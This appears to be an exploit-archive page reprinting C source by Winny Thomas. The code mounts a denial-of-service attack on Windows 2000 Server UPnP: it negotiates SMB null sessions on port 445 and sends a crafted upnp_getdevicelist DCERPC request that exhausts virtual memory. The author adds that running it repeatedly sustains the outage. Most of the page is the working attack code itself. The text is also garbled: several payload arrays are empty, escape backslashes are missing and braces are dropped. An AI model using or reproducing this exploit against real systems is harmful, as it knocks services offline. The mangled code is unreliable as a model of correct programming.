‘Windows 2000 Server UPNP DoS (Exploit)’


A memory leak with windows 2000 server UPNP allow attackers to exploit the virtual memory to a point it consumed too much memory and causing a denial of service on the system.’


‘The information has been provided by WINNY THOMAS.’


 * Author: Winny Thomas
 * Nevis Labs, Pune, INDIA
 * Details:
 * While working on the exploit for MS05-047 i came a cross a condition where
 * a specially crafted request to upnp_getdevicelist would cause
 * services.exe to consume memory to a point where the target machines virtual
 * memory gets exhausted. This exploit is NOT similar to the MS05-047 exploit i
 * published earlier. The earlier one trashed the EIP of the target causing a
 * crash in services.exe and eventually brought down the system to shut down.
 * However in this exploit (again a DOS) the virtual memory is consumed to a
 * point where desktop requests (like clicking ‘My Computer’), HTTP requests,
 * SMB requests etc does not get serviced for sometime. After sometime the
 * memory usage comes down and the target system would work as normal. However
 * this code when continuosly executed against a target leads to a sustained
 * DOS attack.
 * Start the task manager on the target system and run this code against the
 * target and watch the virtual memory usage shoot up.
 * I used windbg to break on calls to upnp_getdevicelist when running this code.
 * However even before the break point is hit the system becomes unresponsive.
 * Strangely though changing the operation number in the DCERPC request to
 * something else other than 0xa (upnp_getdevicelist) will make the DOS attempt
 * fail. Perhaps changing the payload a little bit, so that the underlying
 * demarshalling routines dont return an error, might reproduce this effect
 * for other UPNP operations as well.
 * TESTED ON: Windows 2000 server SP0, SP2 and SP3. I have not tested this on
 * any of the above machines with the recent hot fixes for UPNP.
 * Note: This code is for educational/testing purposes by authorized persons on networks systems setup for such purposes
   * The author shall bear no responsibility for any damage caused by using this code.

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

unsigned short ProcessID = 0;
unsigned short TID = 0;
unsigned short UserID = 0;
unsigned short FID = 0;

char peer0_0[] =
‘x20x4Cx4Dx20x30x2Ex31x32x00’ ;

char peer0_1[] =

char peer0_1_2[] =

char peer0_2[] =

char peer0_3[] =

char peer0_4[] =

char peer0_5[] =
//NETBIOS Fields
‘x00’ //Message type
‘x00x00x80’ //Payload length C
//SMB Fields
//SMB Header
//Write ANDX Request fields
‘x0E’ //Word count
‘x40x00’ //Remaining C
‘x00x00’ //Data Length High
‘x40x00’ //Data Length Low C
‘x40x00’ //Data Offset C
‘x00x00x00x00’ //High Offset
‘x41x00’ //Byte count C
//DCE RPC Request field
‘x40x00’ //Frag Length
‘x00x00’ //Auth Length
‘x8Dx00x00x00’ //Call Id
‘x28x00x00x00’ //Alloc HINT C
‘x00x00’ //Context Id
‘x0Ax00’ //OpNum; 10 in our case for PNP_GetDeviceList
//DATA for GetDeviceList
‘x10x10x10x10’ //This is what kills the target. x00x00x00x00 is safe

void send_packet(int sock, char *payload, int size, char *type)
        int ntrans, ret;
        memcpy(&payload[30], &ProcessID, 2);
        if (UserID)
                memcpy(&payload[32], &UserID, 2);
        if (TID)
                memcpy(&payload[28], &TID, 2);

        if (strcmp(type, ‘Sending DCE RPC Bind UPNPMGR request’) == 0) {
                memcpy(&payload[67], &FID, 2);
        if (strcmp(type, ‘UPNPMGR upnp_getdevicelist request’) == 0) {
                memcpy(&payload[41], &FID, 2);

        printf(‘[*] %s: ‘, type);
        ntrans = send(sock, payload, size, 0);
        if (ntrans < 0) {

void get_response(int sock, char *type)
        int ret;
        char response[1496];

        ret = recv(sock, response, 1496, 0);
        if (strcmp(type, ‘Null Session request 1’) != 0) {
                if ((ret < 0 || response[9] != 0)) {
                        printf(‘33[0;31mError in %s response33[0;39mnn’, type);
        if (strcmp(type, ‘Null Session request 1’) == 0) {
                UserID = *(unsigned short *)&response[32];
        if (strcmp(type, ‘Tree Connect’) == 0) {
                TID = *(unsigned short *)&response[28];
        if (strcmp(type, ‘NT Creat AndX’) == 0) {
                FID = *(unsigned short *)&response[42];
        if (strcmp(type, ‘UPNPMGR upnp_getdevicelist’) == 0)
                if((unsigned long)response[88] != 0) {

void banner()

        printf(‘33[0;31mt Memory leak when sending upnp_getdevicelist requestn33[0;39m’);
        printf(‘33[0;31mt Coded by: 33[0;34m Winny Thomas :-)n33[0;39m’);
        printf(‘33[0;34mtt NevisLabsn33[0;39m’);
        printf(‘33[0;34mtt Nevis Networks, Pune, INDIAn33[0;39m’);


char *setup_tCon(char *UNC, char *ptr)
        int pindex = 0, uindex = 0, len;
        len = strlen(UNC);
        while (uindex < len) {
                if ((pindex % 2) != 0) {
                        ptr[pindex] = ‘x00’;

                ptr[pindex] = UNC[uindex];

        ptr[pindex] = ‘x00’;
        ptr[pindex] = ‘x00’;
        ptr[pindex] = ‘x00’;

        ptr[pindex] = ‘I’; pindex++; ptr[pindex] = ‘P’; pindex++; ptr[pindex] =’C’; pindex++;

        ptr[pindex] = ‘x00’;
        ptr[pindex] = ‘x00’;

int main(int argc, char *argv[])
        struct sockaddr_in target;
        struct hostent *host;
        char UNC[50], tConXpacket[150], *temp, targetIP[20];
        int sockfd;
        int ret, templen;

        if (argc < 2) {
                printf(‘Usage: %s <host name|ip address>nn’, argv[0]);
        ProcessID = rand();

        printf(‘[*] Resolving %s: ‘, argv[1]);
        host = gethostbyname(argv[1]);
        if (!host) {
        target.sin_family = AF_INET;
        target.sin_addr = *(struct in_addr *)host->h_addr;
        target.sin_port = htons(445);
        sprintf(targetIP, ‘%s’, inet_ntoa(target.sin_addr));
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
        ret = connect(sockfd, (struct sockaddr *)&target, sizeof(target));
        if (ret < 0) {

        send_packet(sockfd, peer0_0, sizeof(peer0_0) -1, ‘Sending SMB Negotiate request’);
        get_response(sockfd, ‘SMB Negotiate’);

        send_packet(sockfd, peer0_1, sizeof(peer0_1) -1, ‘Sending Null Session request’);
        get_response(sockfd, ‘Null Session request 1’);

        send_packet(sockfd, peer0_1_2, sizeof(peer0_1_2) -1, ‘Sending Null Session request’);
        get_response(sockfd, ‘Null Session request 2’);

        bzero(tConXpacket, 150);
        temp = tConXpacket;
        memcpy(tConXpacket, peer0_2, sizeof(peer0_2));
        temp += sizeof(peer0_2) -1;
        sprintf(UNC, ‘\\%s\IPC$’, targetIP);
        setup_tCon(UNC, temp);
        templen = (strlen(UNC)*2) +9;
        tConXpacket[3] = 43 + templen;
        templen -= 2;
        memcpy((unsigned long *)&tConXpacket[45], &templen, 1);

        send_packet(sockfd, tConXpacket, sizeof(peer0_2) +templen, ‘Sending Tree Connect request’);
        get_response(sockfd, ‘Tree Connect’);

        send_packet(sockfd, peer0_3, sizeof(peer0_3) -1, ‘Sending NT Creat AndX request’);
        get_response(sockfd, ‘NT Creat AndX’);

        send_packet(sockfd, peer0_4, sizeof(peer0_4) -1, ‘Sending DCE RPC Bind UPNPMGR request’);
        get_response(sockfd, ‘DCE RPC Bind UPNPMGR’);

        send_packet(sockfd, peer0_5, sizeof(peer0_5) -1, ‘UPNPMGR upnp_getdevicelist request’);
        get_response(sockfd, ‘UPNPMGR upnp_getdevicelist’);


/* EoF */’

Categories: Exploits